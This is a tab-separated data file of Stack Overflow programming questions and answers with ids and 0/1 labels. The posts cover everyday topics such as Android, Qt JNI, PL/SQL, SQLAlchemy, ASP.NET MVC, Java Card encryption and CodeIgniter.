21270045	0	 <p>It looks OK for me. That example is not working? But different thing is how you fire next Intent in onReceive method. Please try use your action in <code>myIntent = new Intent(YourActionClass.class);</code></p>
2690422	0	add(a,b) and a.add(b) <p>how can i transform a method (that performs a+b and returns the result) from add(a,b) to a.add(b)?<br> i read this somewhere and i can't remember what is the technique called...<br> does it depends on the language? </p> <p>is this possible in javascript?</p>
24927838	0	Accessing controller method from view in Ember <p>I would like to call a controller method which is not necessarily an action from my view. How can I achieve this?</p>
35532916	0	 <p>The simplest and best way to address this problem is using toggle(). </p> <p>//html</p> <pre><code>&lt;button id="reloadButton"&gt; Hover me &lt;/button&gt; &lt;div id="reloadWarningBackground" style="display:none;"&gt; &lt;p&gt; Hello this is me &lt;/p&gt; &lt;/div&gt; </code></pre> <p>//Javascript</p> <pre><code>$('#reloadButton').hover(function() { $('#reloadWarningBackground').toggle(); }); </code></pre> <p><a href="https://jsfiddle.net/k1L5nzz3/" rel="nofollow">fiddle</a></p>
12447922	0	 <p>I don't think it's working smoothly. Calling <code>openContextMenu(l)</code> will cause <code>item.getMenuInfo()</code> to be null (inside method <code>onContextItemSelected(MenuItem item)</code>). </p> <p>You should call <code>l.showContextMenuForChild(v)</code> instead of <code>openContextMenu(l)</code>.</p>
23140816	0	 <p>Yes, too many variables will blow the stack.</p>
23391126	0	 <p>UDP packets include a field for a 16 bit CRC checksum which the receiving operating system will use to check for packet corruption. If the checksum is present and fails, then the packet will be silently discarded. It is up to the application to notice that the packet disappeared and take corrective action.</p> <p>UDP checksums are enabled by default on all modern operating systems. It is possible to disable UDP checksums in IPv4, either at the socket or OS level. Doing so would reduce the CPU overhead of processing each packet at both the sender and receiver. This might be desirable if, for example, the application were calculating its own checksum separately. Without any checksum, there would be no guarantee that the bytes received are the same as the bytes sent.</p>
22029815	0	How to use the QT Jni class "QAndroidJniObject" <p>I'm a beginner of "QT for Android" and now I'm using it to develop a communication oftware based on mobile.I hava developed java functions that call android's api as a class in a .java document.In order to Simplify UI development,the UI is based on QT Widget program.Then I use the QT-JNI class "QAndroidJniObject" to call these java functions according to QT5.2 API document.Android resource file is stored in the directory:./android/src/com/comm/sipcall/SipCallSend.java.Since the less information in this regard,I developed the java and c++ program according to API document.But I encountered the following problems, and also hope to get answers: 1) The QT program is based on QT Widget.The java program needs to get the current application object Context in order to initialize java object.The c++ code I developed as following:</p> <pre><code>//c++: QPlatformNativeInterface *interface = QApplication::platformNativeInterface(); jobject activity = (jobject)interface-&gt;nativeResourceForIntegration("QtActivity"); QAndroidJniObject* at = new QAndroidJniObject(activity); QAndroidJniObject appctx = at-&gt;callObjectMethod("getApplicationContext","()Landroid/content/Context;"); //.pro： QT += core gui gui-private </code></pre> <p>Is this right?</p> <p>2) The java class contains a constructor function and three public functions:</p> <pre><code>java: package com.comm.sipcall; improt XXXX .... .... public class SipCallSend extends Activity { private Context context; // 接收QT的context public String sipToAddress = ""; public String sipDomain = ""; public String user_name = ""; public String pass_word = ""; public SipCallSend(){ Log.i("ddd","init"); sipToAddress = ""; sipDomain = ""; user_name = ""; pass_word = ""; } public void SetContext(Context cnt) { this.context = cnt; //Log.i("ccc",user_name); } public int Login(String domain,String username,String password){ .... sipDomain = domain; user_name = username; pass_word = password; ... return 0; } public int Call(String addrNum) { ... return 0; } } C++： QPlatformNativeInterface *interface = QApplication::platformNativeInterface(); jobject activity = (jobject)interface-&gt;nativeResourceForIntegration("QtActivity"); QAndroidJniObject* at = new QAndroidJniObject(activity); QAndroidJniObject appctx = at-&gt;callObjectMethod("getApplicationContext","()Landroid/content/Context;"); QAndroidJniObject* m_sipcall = new QAndroidJniObject("com/comm/sipcall/SipCallSend"); if (!m_sipcall-&gt;isValid()) return; m_sipcall-&gt;callMethod&lt;void&gt;("SetContext","(Landroid/content/Context;)V", appctx.object&lt;jobject&gt;()); QAndroidJniObject domain = QAndroidJniObject::fromString("10.3.56.54"); QAndroidJniObject username = QAndroidJniObject::fromString("1006"); QAndroidJniObject password = QAndroidJniObject::fromString("1234"); jint res = m_sipcall-&gt;callMethod&lt;jint&gt;("Login","(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I", domain.object&lt;jstring&gt;(), username.object&lt;jstring&gt;(),password.object&lt;jstring&gt;()); if (res!=0) return; QAndroidJniObject addrNum = QAndroidJniObject::fromString("1018"); res = m_sipcall-&gt;callMethod&lt;jint&gt;("Call","(Ljava/lang/String;)I",addrNum.object&lt;jstring&gt;()); </code></pre> <p>The "new QAndroidJniObject" returns non-empty,but the the following functions connot execute,why?</p> <p>3) I have tried to make the Context from c++ as a parameter of constructor function,but I found the code not running,why?</p> <pre><code>java: public SipCallSend(Context cnt){ this.context = cnt; } C++: QAndroidJniObject m_sipcall("com/comm/sipcall/SipCallSend","(Landroid/content/Context;)V",appctx.object&lt;jobject&gt;()); </code></pre> <p>4) According to QT5.2 API document,QAndroidJniObject provides a method named "callObjectMethod":</p> <pre><code>QAndroidJniObject myJavaString; ==&gt; "Hello, Java" QAndroidJniObject mySubstring = myJavaString.callObjectMethod("substring", "(II)Ljava/lang/String;" 7, 10); </code></pre> <p>But when I use it as following, the IDE prompts me the parameter are incorrect,why?</p> <pre><code>jint res = m_sipcall-&gt;callMethod&lt;jint&gt;("Login","(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I", domain.object&lt;jstring&gt;(), username.object&lt;jstring&gt;(),password.object&lt;jstring&gt;()); </code></pre> <p>Thanks...</p>
469653	0	 <p>Static objects are destroyed in the reverse of the order in which they're constructed (e.g. the first-constructed object is destroyed last), and you can control the sequence in which static objects are constructed, by using the technique described in Item 47, "<strong>Ensure that global objects are initialized before they're used</strong>" in Meyers' book <em>Effective C++</em>.</p> <blockquote> <p>For example to specify in some way that I would like a certain object to be destroyed last, or at least after another static onject?</p> </blockquote> <p>Ensure that it's constructed before the other static object.</p> <blockquote> <p>How can I control the construction order? not all of the statics are in the same dll.</p> </blockquote> <p>I'll ignore (for simplicity) the fact that they're not in the same DLL.</p> <p>My paraphrase of Meyers' item 47 (which is 4 pages long) is as follows. Assuming that you global is defined in a header file like this ...</p> <pre><code>//GlobalA.h extern GlobalA globalA; //declare a global </code></pre> <p>... add some code to that include file like this ...</p> <pre><code>//GlobalA.h extern GlobalA globalA; //declare a global class InitA { static int refCount; public: InitA(); ~InitA(); }; static InitA initA; </code></pre> <p>The effect of this will be that any file which includes GlobalA.h (for example, your GlobalB.cpp source file which defines your second global variable) will define a static instance of the InitA class, which will be constructed before anything else in that source file (e.g. before your second global variable).</p> <p>This InitA class has a static reference counter. When the first InitA instance is constructed, which is now guaranteed to be before your GlobalB instance is constructed, the InitA constructor can do whatever it has to do to ensure that the globalA instance is initialized.</p>
12698394	0	On the fly website manipulation using <p>I am trying to work out if I can alter the functionality of a website preferably through vba (access) or any other way that I can centrally manage. What I am trying to achieve is, depending on permissions, I would like users to log onto a website and the website is then changed on the fly to stop the user using normal functions of the website. For example some users have access to a submit button while others do not.</p> <p>I have seen that you can use VBA to parse websites and auto logon. I'm just not sure if its capable of doing any local scripting like greasemonkey does. </p> <p>Maybe I am looking at this wrong and can achieve this at the firewall level instead of running website scripts.</p> <p>Any ideas?</p>
12427493	0	Programmatically check for a change in a class in C# <p>Is there a way to check for the size of a class in C#?</p> <p>My reason for asking is:</p> <p>I have a routine that stores a class's data in a file, and a different routine that loads this object (class) from that same file. Each attribute is stored in a specific order, and if you change this class you have to be reminded of these export/import routines needs changing.</p> <p>An example in C++ (no matter how clumsy or bad programming this might be) would be the following:</p> <pre><code>#define PERSON_CLASS_SIZE 8 class Person { char *firstName; } </code></pre> <p>...</p> <pre><code>bool ExportPerson(Person p) { if (sizeof(Person) != PERSON_CLASS_SIZE ) { CatastrophicAlert("You have changed the Person class and not fixed this export routine!") } } </code></pre> <p></p> <p>Thus before compiletime you need to know the size of Person, and modify export/import routines with this size accordingly.</p> <p>Is there a way to do something similar to this in C#, or are there other ways of "making sure" a different developer changes import/export routines if he changes a class.</p> <p>... Apart from the obvious "just comment this in the class, this guarantees that a developer never screws things up"-answer.</p> <p>Thanks in advance.</p>
18578396	0	 <p>You want a dynamic list of files(.txt,.tpl,.htm,.json), to avoid a change in JS source code to add more files. </p> <p>I don't know if is there a way to do that, but you must take care about the time that will take to download all this files. I suggest you to create a json file with all files that you want to download, and iterate through this array of files using ajax to get them. </p> <p>If you are try to get all module inside a directory, you need to create a js file: <code>&lt;package-all&gt;.js</code> that encapsulate an <code>require([all files],function());</code> for example.</p> <p>I believe that this is the only way to solve this.</p>
6238630	0	 <p>The <a href="http://tips4java.wordpress.com/2008/11/06/wrap-layout/">Wrap Layout</a> might be a solution for you. It automatically moves components to the next line when a line is full.</p>
35447296	1	Trying to filter by an intermediate table <p>I'm trying to do this query</p> <pre><code>subsidiaries = self.con.query(Subsidiary)\ .options(joinedload(Subsidiary.commerce)\ .joinedload(Commerce.commerce_tags))\ .filter(CommerceTag.tag_id == id) </code></pre> <p>But it doesn't work, so to explain:</p> <p>The relationship between tables are:</p> <p><a href="https://i.stack.imgur.com/aH8Su.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aH8Su.png" alt="Relationship"></a></p> <p>I just want to obtain all the subsidiaries of all the commerces that has an specific tag, i want to do it with Subsidiary has the base class (i know that if i use Commerce it will be more easier), the reason is 'cause i convert it to a json value with the next format:</p> <pre><code>"subsidiaries": [ { "id": 1, "name": "some_name", "commerce": { "id": 1, "name": "Commerce Name" } } ] </code></pre> <p>Well, i can do the query with Commerce has base class, but i think that maybe iterating the commerces to obtain the subsidiaries is more expensive that doing it in the query.</p> <p>I don't want to load CommerceTag but i had it in joinedload 'cause it doesn't work with Join method.</p> <p>I need some help to do this :(</p>
29169321	0	Relationship between classes when using LINQ to SQL (no relationship in the DB) <p>I have two tables in my database -> Activities and Customers. Each Activity has a CustomerId, however the designers of the database haven't added any foreign key constraints. </p> <p>I want to be able to write </p> <pre><code>activity.Customer.Name //Returns name of the customer </code></pre> <p>So I need a way of telling LINQ to SQL to map the CustomerId in the Activity object to the correct Customer object.</p> <p>I could of course do :</p> <pre><code>var customers = db.Customers; var activities = db.Activities; </code></pre> <p>And then manually map them to each other, but that would be a pain...</p> <p>Is this is possible? Adding foreign key constraints is unfortunately not an option. </p>
31899013	0	 <p>I think it wp bug. Add that to functions.php </p> <pre><code>add_filter('redirect_canonical', 'disable_custom_redirect'); function disable_custom_redirect ($redirect_url) { global $post; $ptype = get_post_type($post); if ($ptype == 'catalog') $redirect_url = false; return $redirect_url; } </code></pre>
11413176	0	ORA-06550 Error in PL/SQL <p>Well I am trying to run this script in PL/SQL. But I am constantly getting errors, I tried replacing single quotes with double quotes but no use. </p> <pre><code>ACCEPT p_name PROMPT "Enter Customer Name: " VARIABLE g_output VARCHAR2(200) DECLARE v_street VARCHAR2(30); v_city VARCHAR2(20); v_prov VARCHAR2(20); v_postal VARCHAR2(10); BEGIN SELECT cstreet, ccity, cprov, cpostal INTO v_address,v_city,v_state,v_zip FROM customer WHERE cname = "&amp;p_name"; :g_output := "&amp;p_name" || " " ||v_street || " " || v_city; :g_output := :g_output " " || v_prov || " " || v_postal; END; / PRINT g_output </code></pre> <p>Error:</p> <pre><code>Enter Customer Name: Ankur Kaushal old 10: WHERE cname = "&amp;p_name"; new 10: WHERE cname = "Ankur Kaushal"; old 11: :g_output := "&amp;p_name" || " " ||v_street || " " || v_city; new 11: :g_output := "Ankur Kaushal" || " " ||v_street || " " || v_city; :g_output := :g_output " " || v_prov || " " || v_postal; * ERROR at line 12: ORA-06550: line 12, column 27: PLS-00103: Encountered the symbol " " when expecting one of the following: . ( * @ % &amp; = - + ; &lt; / &gt; at in is mod remainder not rem &lt;an exponent (**)&gt; &lt;&gt; or != or ~= &gt;= &lt;= &lt;&gt; and or like between || indicator multiset member SUBMULTISET_ The symbol "." was substituted for " " to continue. Input truncated to 14 characters G_OUTPUT -------------------------------------------------------------------------------- </code></pre> <p>Any mistake I am making here?</p>
27010089	0	How to integrate rest Api with Magento <p>Hello I have Third Party REST API And I want to integrate that REST API with my Magento Project so, is that Possible in Magento?? And If Yes then how to integrate it in my Magento Project Please Help...... Thank in advance</p>
16862590	0	 <p>Check this question: <a href="http://stackoverflow.com/questions/16052758/kendoui-uploader-remove">KendoUI Uploader Remove</a></p> <p>For me, changing the return type did it.</p> <p>From</p> <pre><code>public ActionResult RemoveFile(string[] fileNames) { return Content(""); } </code></pre> <p>To</p> <pre><code>public ActionResult RemoveFile(string[] fileNames) { return Json(""); } </code></pre> <p>I left my SaveFile() function with <code>return Content("");</code></p>
28491762	0	 <blockquote> <p>I have read the documentation and it seems like if this flag is set when calling an Activity, if the user presses the back button or that Activity is finished(), it still remains on the stack.</p> </blockquote> <p>No, the Activity will not remain on the stack, but its entry will be shown in the recent task list, you can click on that entry to re-launch this Activity just as you re-launch your application.</p>
4757835	0	 <p>A bit late, but maybe it will still help you or someone else looking for this, the messages are themed in <a href="http://api.drupal.org/api/drupal/includes--theme.inc/function/theme_status_messages/6" rel="nofollow">theme_status_messages()</a> but you don't have any context about them at this point. However...</p> <p>Form errors are added through <a href="http://api.drupal.org/api/drupal/includes--form.inc/function/form_set_error/6" rel="nofollow">form_set_error()</a>, which stores them in an static array according to the form field name, you can access that through <a href="http://api.drupal.org/api/drupal/includes--form.inc/function/form_get_errors/6" rel="nofollow">form_get_errors()</a>.</p> <p>Now, you can load these errors and then look up the error messages in that error array and use the key as the id.</p>
35207148	0	 <p><strong>For MVC6</strong>, You need to decorate the controllers with <code>Area</code> attribute. if you do not prefer to add this to individual controllers, you may simply create a base call which has Area decoration and inherit your other controllers from that.</p> <pre><code>[Area("Admin")] public class AdminArea : Controller { } public class OrdersController : AdminArea { public IActionResult Index() { return View(); } } public class ProductsController : AdminArea { public IActionResult Index() { return View(); } } </code></pre> <p><strong>MVC 5 and below</strong></p> <p>You do not need to put that attribute on your controller name, You can simply specify the area name in the area route registration.</p> <pre><code>public override void RegisterArea(AreaRegistrationContext context) { context.MapRoute( "Admin_default", "Admin/{controller}/{action}/{id}", new { action = "Index", controller= "YourDefaultCtrl", id = UrlParameter.Optional } ); } </code></pre>
27493867	0	 <p>At first I thought you needed to include <code>ob_end_clean</code> like:</p> <pre><code>ob_start(); call_user_func( 'test', $args ); $ret_func = ob_get_clean(); $data = preg_replace( $re, $ret_func, $data); ob_end_clean(); </code></pre> <p>But then I ran a basic test myself doing this:</p> <pre><code>&lt;?php $i = 0; for($i=0; $i&lt;10; $i++) { ob_start(); test(); $ret_func = ob_get_clean(); echo '&lt;p&gt;' . $ret_func . '&lt;/p&gt;'; ob_end_clean(); //tried with this commented out as well echo '&lt;p&gt;' . $ret_func . '&lt;/p&gt;'; } function test() { echo rand(0,100); } ?&gt; </code></pre> <p>And it made no difference if I included <code>ob_end_clean</code> or not. So your problem is probably actually how you are rebuilding the <code>args</code> array in each iteration of the loop.</p>
3359264	0	 <p><strong>Java has a facility built specifically for this purpose - Properties.</strong> Here is very good article about it </p> <p><a href="http://download-llnw.oracle.com/javase/tutorial/essential/environment/properties.html" rel="nofollow noreferrer">http://download-llnw.oracle.com/javase/tutorial/essential/environment/properties.html</a></p>
11813152	0	 <p>Why not just grab all the right information in one query from the start along the lines of something like this:</p> <pre><code>select a.exID, examples.someField, examples.someOtherField from examples join ( SELECT exID FROM examples WHERE concept='$concept' ORDER BY RAND() limit 5 ) a on a.exID=examples.exID </code></pre> <p>Then you just just pop them into an array (or better yet object) that has all the pertinent information in one row each time.</p>
18404377	0	 <p>I do not understand why writing a <code>MODULE</code> would not work, but have you considered <code>CONTAINS</code>? Everything above the <code>CONTAINS</code> declaration is visible to the subroutines below the <code>CONTAINS</code>:</p> <pre><code>PROGRAM call_both INTEGER,DIMENSION(2) :: a, b a = 1 b = 2 PRINT *,"main sees", a, b CALL subA CALL subB CONTAINS SUBROUTINE subA PRINT *,"subA sees",a,b END SUBROUTINE subA SUBROUTINE subB PRINT *,"subB sees",a,b END SUBROUTINE subB END PROGRAM call_both </code></pre> <p>The output would be</p> <pre><code>main sees 1 1 2 2 subA sees 1 1 2 2 subB sees 1 1 2 2 </code></pre> <p>This works with <code>ALLOCATABLE</code> arrays as well.</p>
30604979	0	 <p>as @nkjt pointed out: </p> <p>Do you know the difference between <code>/</code> and <code>./</code></p> <p>If you want to divide pointwise, you have to use the <code>./</code>, otherwise you will get the result of the vector</p> <p><strong>(1+(x/2))</strong> divided by <strong>(1+(x/2))</strong></p> <p>What you want is:</p> <p><code>x = linspace(0,3); y1 = (1+(x/2))./(1-(x/2)); figure, plot(x,y1)</code></p>
25896993	0	 <p>If you <strong>update</strong> your <strong>google play services</strong> you need to <strong>update your res/values tag</strong> too.</p>
37510478	0	CodeIgniter error 403 <p>I'm a complete beginner in CodeIgniter, Frameworks in general, and I tried Laravel and CakePHP but both are very complex to install (for me) so now I've downloaded CI and it looks pretty simple except for this access denied error.</p> <p>The error is the default Firefox 403(access denied) error. It says: <code>You don't have permission to access the requested object. It's either read-protected or not readable by the server.</code></p> <p>This happens when I go to <code>localhost/codeigniter/application</code></p> <p>My base URL: <code>http://localhost/codeigniter/application</code>. I don't know why I set it like that but it seemed logical.</p> <p><strong>UPDATE:</strong> After I edit the htaccess file to make it look like this: ` RewriteEngine On</p> <pre><code>RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.PHP/$1 [L] </code></pre> <p>, it gave me another 403 error (which isn't the default Firefox error) and it simply says "Directory access is forbidden".</p>
28732981	0	 <p>I think that's what you looking for </p> <pre><code>return Redirect::back(); </code></pre>
29812375	0	 <p>You didn't specify what version of SQL you are using so I am doing this example in SQL Server where @cost_1 is a variable. You can adapt it to the syntax for whatever SQL variant you are using. The following will give you the counts you want as a SQL result set:</p> <pre><code>SELECT start_dsgn, COUNT(CASE WHEN min_cost_1 &lt;= @cost_1 OR min_cost_2 &lt;= @cost_2 THEN end_dsng END) as Cnt FROM table GROUP BY start_dsgn </code></pre> <p>Once you have that, it's up to you to convert that into whatever format you want in whichever language you are using to query the database. You also didn't specify what language you are using, but it looks like you want a dictionary where start_dsgn is the key. </p> <p>Most languages would return a list or array of either lists, tuples or dictionaries depending on what you use. From there it's pretty easy to convert them into any other form, at least in Python. Strongly typed languages like C#, Java and Swift are a little trickier.</p>
35608521	0	Using CBC DES encryption in java card <p>I am trying to encrypt data using Cipher class . I want to specify the initial vector so I use the following functions : </p> <pre><code>try { cipherCBC = Cipher.getInstance(Cipher.ALG_DES_CBC_NOPAD, false); cipherCBC.init(k, Cipher.MODE_ENCRYPT,INITVECTOR,(short)0,(short)8); cipherCBC.doFinal(data, (short) 0, (short) data.length, result, (short) 0); } catch (Exception e) { ISOException.throwIt(ISO7816.SW_CONDITIONS_NOT_SATISFIED); } </code></pre> <p>with the byte array INITVECTOR initialised by a 8-byte array.</p> <p>The problem is that I get always an exception caught when I use the init function.</p> <p><strong>EXTRA INFO:</strong></p> <p>The key is build here :</p> <pre><code>octetsLus = (byte) (apdu.setIncomingAndReceive()); if (octetsLus != 16) { ISOException.throwIt(ISO7816.SW_WRONG_LENGTH); } // build host crypto Util.arrayCopy(buffer, (short)(ISO7816.OFFSET_CDATA+4), message, (short) 0,(short) 4); Util.arrayCopy(buffer, (short)(ISO7816.OFFSET_CDATA+8), message, (short) 4,(short) 4); Util.arrayCopy(buffer, (short)(ISO7816.OFFSET_CDATA), message, (short) 8,(short) 4); Util.arrayCopy(buffer, (short)(ISO7816.OFFSET_CDATA+12), message, (short) 12,(short) 4); // GENERATE SESSION KEYS encrypt_DES(ENC_key, message,(byte) 0x01); Util.arrayCopy(result,(short) 0, ENC_SESS_KEY, (short) 0,(short) 16); encrypt_DES(MAC_key, message,(byte) 0x01); Util.arrayCopy(result,(short) 0, MAC_SESS_KEY, (short) 0,(short) 16); ENC_key = (DESKey) KeyBuilder.buildKey(KeyBuilder.TYPE_DES, KeyBuilder.LENGTH_DES3_2KEY, false); ENC_key.setKey(ENC_SESS_KEY, (short) 0); MAC_key = (DESKey) KeyBuilder.buildKey(KeyBuilder.TYPE_DES, KeyBuilder.LENGTH_DES3_2KEY, false); MAC_key.setKey(MAC_SESS_KEY, (short) 0); Util.arrayCopy(buffer, (short)(ISO7816.OFFSET_CDATA), message, (short) 0,(short) 8); Util.arrayCopy(buffer, (short)(ISO7816.OFFSET_CDATA+8), message, (short) 8,(short) 8); for(i=0;i&lt;8;i++) message[(short)(16+i)]=(byte)PADDING[i]; </code></pre> <p>Concerning the initial vector, even if I use the following initialization, I get the same problem :</p> <pre><code>INITVECTOR =new byte[]{(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00}; </code></pre> <p>On the other hand, when I use the init function which use default initialization parameters the encrypt function works well:</p> <pre><code>cipherCBC.init(k, Cipher.MODE_ENCRYPT); </code></pre>
22391425	0	Javamelody report sort <p>i use javamelody to export report. i want the report to be downloaded with times being sorted by the Highest mean time above so that it is easier to make sense of what is taking more time during execution. is there any available configuration to enable report PDF downloaded with one of the columns having sorted values?</p>
15803851	0	 <p>You've got a query. Therefore this call is inappropriate:</p> <pre><code>OIMScmd.ExecuteNonQuery(); </code></pre> <p>Instead, you should be using <a href="http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.executescalar.aspx" rel="nofollow"><code>ExecuteScalar()</code></a>:</p> <pre><code>int count = (int) OIMScmd.ExecuteScalar(); </code></pre> <p>(It's possible that it'll return a <code>long</code> rather than an <code>int</code> - I'm not sure offhand.)</p> <p>Additionally, you should use a <code>using</code> statement for the <code>SqlCommand</code> and create a new connection for each operation:</p> <pre><code>using (var connection = new SqlConnection(...)) { connection.Open(); using (var command = new SqlCommand(query, connection)) { int count = (int) command.ExecuteScalar(); // Now use the count } } </code></pre> <p>It's also not clear what kind of app this is - if it's in a local GUI (WinForms or WPF) you should <em>not</em> be performing database access on the UI thread. The UI will be frozen while the database access occurs. (If this is in a web application, it's even more important that you create a new database connection each time... you don't want two separate requests trying to use the same connection at the same time.)</p>
37021006	0	 <p>Try following way with highest reading priority value, </p> <pre><code>&lt;receiver android:name=".SmsListener" android:enabled="true" android:exported="true" android:permission="android.permission.READ_SMS"&gt; &lt;intent-filter android:priority="2147483647"&gt; &lt;action android:name="android.provider.Telephony.SMS_RECEIVED"/&gt; &lt;/intent-filter&gt; &lt;/receiver&gt; </code></pre> <p>This will surely solve out your problem.</p> <p>Update from below comment, </p> <p>Since you are checking on Android version 6.0.1 just follow these steps, </p> <ol> <li>Go to Settings, </li> <li>Go to Apps</li> <li>Select your Application</li> <li>Choose Permissions Option</li> <li>Enable SMS permission</li> </ol>
30235240	0	 <p>Use this:</p> <pre><code>docker inspect --format='{{.HostConfig.Binds}}' &lt;container id&gt; </code></pre>
6356860	0	Eclipse vs. CVS: Same Modules, Multiple Branches/Tags <p>I work on two products, each residing in its own CVS module; call them B (Base) and D (Dependent). D is dependent on B; B can exist on its own. Typically I want to have them together in my IDE environment so that I can e.g. follow API calls from D to B in the editor and debugger. These products are on distinct release schedules; a given branch/tag of D is dependent on a specific branch/tag of B. At any given time, I may be working on several different B/D branch/tag combinations.</p> <p>I'm an Eclipse noob, but I believe what we are talking about here is multiple workspaces, one for each B/D combination, and each with projects for B and D. I need to be able to create these workspaces relatively quickly, without starting completely over each time, and in such a way that the environment does not vary across the workspaces, except of course for the fact that the branch/tags are different.</p> <p>So: What do I have to do in Eclipse to accomplish my goals here? Thanks in advance...</p> <p>Mark</p>
1858359	0	Should I put my output files in source control? <p>I've been asked to put every single file in my project under source control, including the database file (not the schema, the complete file).</p> <p>This seems wrong to me, but I can't explain it. Every resource I find about source control tells me not to put generated output files in a source control system. And I understand, it's not "source" files. </p> <p>However, I've been presented with the following reasoning:</p> <ul> <li>Who cares? We have plenty of bandwidth.</li> <li>I don't mind having to resolve a conflict each time I get the latest revision, it's just one click</li> <li>It's so much more convenient than having to think about good ignore files <ul> <li>Also, if I have to add an external DLL file in the bin folder now, I can't forget to put it in source control, as the bin folder is not being ignored now.</li> </ul></li> </ul> <p>The simple solution for the last bullet-point is to add the file in a libraries folder and reference it from the project.</p> <p>Please explain if and why putting generated output files under source control is wrong.</p>
16954405	0	 <p>SELECT c1.cat_id as childID, c1.cat_name ChildName, c2.cat_name as ParentName from category c1 LEFT OUTER JOIN category c2 ON c1.parent = c2.cat_id</p>
30327851	0	 <p>You should use <code>$("#&lt;%=UploadButton.ClientID%&gt;")</code> instead of <code>$('UploadButton')</code> because <code>asp:Button</code> elements generates not in element with just id <code>UploadButton</code></p> <pre><code>function ConfirmSendData() { var r = confirm("Êtes vous bien: " + document.getElementById("&lt;%=DDL_LaveurLA.ClientID%&gt;").options[document.getElementById("&lt;%=DDL_LaveurLA.ClientID%&gt;").selectedIndex].text + " sinon veuillez changer dans le champ spécifié 'Laveur'"); if (r == true) { var clickButton = document.getElementById("&lt;%= UploadButton.ClientID %&gt;"); clickButton.click(); // alternative variant for jquery // $("#&lt;%=UploadButton.ClientID%&gt;").click(); } } </code></pre> <p>also another thing that function <code>ConfirmSendData</code> needs to <code>return false</code> to prevent the submitting data by first button</p>
10071288	0	 <p>when there is a relationship between two entities and you expect to use it, use JPA relationship annotations. One of the main advantages exactly is to not have to manually make extra queries when there is a relationship between entities.</p>
5006094	0	Why does WebImage.Resize strip out PNG transparency <p>Using <a href="http://msdn.microsoft.com/en-us/library/system.web.helpers.webimage(v=vs.99).aspx" rel="nofollow noreferrer">WebImage</a> from the MVC3/WebMatrix release. Loading the following image from a file path:</p> <p><img src="https://i.stack.imgur.com/CUJHZ.png" alt="Sample Image"> - or - <img src="https://i.stack.imgur.com/7iORI.png" alt="enter image description here"></p> <p>Running the following code against it:</p> <pre><code>return new WebImage(path) .Resize(120, 265) .GetBytes("Png"); </code></pre> <p>Results in an image with the transparency stripped out and black used in place:</p> <p><img src="https://i.stack.imgur.com/a1S4e.png" alt="Blacked out transparency"></p> <p>The same happens with RotateRight(), RotateLeft() and FlipHorizantal() However if I don't call the .Resize() method:</p> <pre><code>return new WebImage(path) .GetBytes("Png"); </code></pre> <p>The image is returned without an issue.</p>
34725412	0	Unable to connect to remote Oracle database from a machine that does not have oracle client <p>I have a dot net executable (build in Visual Studio 2008) that attempts to connect to remote oracle database from a machine that does not have oracle client installed. The error I am getting is</p> <p>"ORA-12154 TNS Could not resolve the connect identifier specified"</p> <p>from what I have read so far I needed to add reference Oracle.DataAccess.dll. Oracle.DataAccess was not available for adding under my VS 2008, so I went ahead and got a copy of MSI package (ODTwithODAC1020221.exe from Oracle site) to add the suggested DLL file (I am not sure if there is compatibility issue between my version of VS/.NET 3.5 SP1 and the download). After I have successfully added the reference, i get the above error.</p> <p>I can successfully do a TNSPING on a local machine that has oracle client. I have also validated database descriptions from TNSNAMES.ORA file.</p> <p>Here is the code I am using to connect to oracle:</p> <pre><code>Imports System.IO Imports System.Xml Imports System.Net Imports System.Xml.Schema Imports System.Text Imports System.Data.Common.DataAdapter Imports System.Data.Common.DbDataAdapter Imports System.Net.Mail Imports System.Threading.Thread Imports System.Data.OleDb Imports System.Data.SqlClient Imports System.ServiceProcess Imports System.Management Imports System Imports Oracle.DataAccess Imports Oracle.DataAccess.Client Module Module1 Public Sub Main() Dim sql As String Dim sql2 As String Dim DATABASENAME1 As String = "Data Source=(DESCRIPTION =" _ + " (ADDRESS = (PROTOCOL = TCP)(HOST=Server.Host.com)(PORT=1540))" _ + ")" _ + "(CONNECT_DATA = " _ + "(SID=DATABASENAME1)));" _ + "User Id=user;Password=password1;" Dim conn1 As New OracleConnection() conn1.ConnectionString = DATABASENAME1 '%%%%% Connect to database Try conn1.Open() Console.WriteLine("Connection to Oracle database established!") MsgBox("Connection to Oracle database established!") Console.WriteLine(" ") Catch ex As Exception MsgBox("Not Connected" &amp; ex.Message) Console.WriteLine(ex.Message) End End Try END SUB END MODULE </code></pre>
3966904	1	How to determine when input is alphabetic? <p>I been trying to solve this one for a while and can't seem to make it work right.. here is my current work </p> <pre><code>while True: guess = int(raw_input('What is your number?')) if 100 &lt; guess or guess &lt; 1: print '\ninvalid' else: .....continue on </code></pre> <p>Right now I have made it so when a user input a number higher than 100 or lower than 1, it prints out "invalid". BUT what if i want to make it so when a user input a string that is not a number(alphabetic, punctuation, etc.) it also returns this "invalid" message?</p> <p>I have thought about using if not ...isdigit(), but it won't work since I get the guess as an integer in order for the above range to work. Try/except is another option I thought about, but still haven't figured out how to implement it in correctly.</p>
39950042	1	Get unique entries in list of lists by an item <p>This seems like a fairly straightforward problem but I can't seem to find an efficient way to do it. I have a list of lists like this:</p> <pre><code>list = [['abc','def','123'],['abc','xyz','123'],['ghi','jqk','456']] </code></pre> <p>I want to get a list of unique entries by the third item in each child list (the 'id'), i.e. the end result should be</p> <pre><code>unique_entries = [['abc','def','123'],['ghi','jqk','456']] </code></pre> <p>What is the most efficient way to do this? I know I can use set to get the unique ids, and then loop through the whole list again. However, there are more than 2 million entries in my list and this is taking too long. Appreciate any pointers you can offer! Thanks. </p>
6703663	0	Lattice Reduction <p>I have two matrices A and B with same number of rows. Consider a Lattice generated by the rows of B. I want to reduce B and during the reduction change A accordingly. That is if i-th row and j-th row of B interchanges, need to sweep i-th row and j-th row of A also, similarly other elementary row operations. How can I do these?</p> <p>Also is there very simple C or C++-implementation of the <a href="http://mathworld.wolfram.com/LLLAlgorithm.html" rel="nofollow">LLL algorithm</a>?</p>
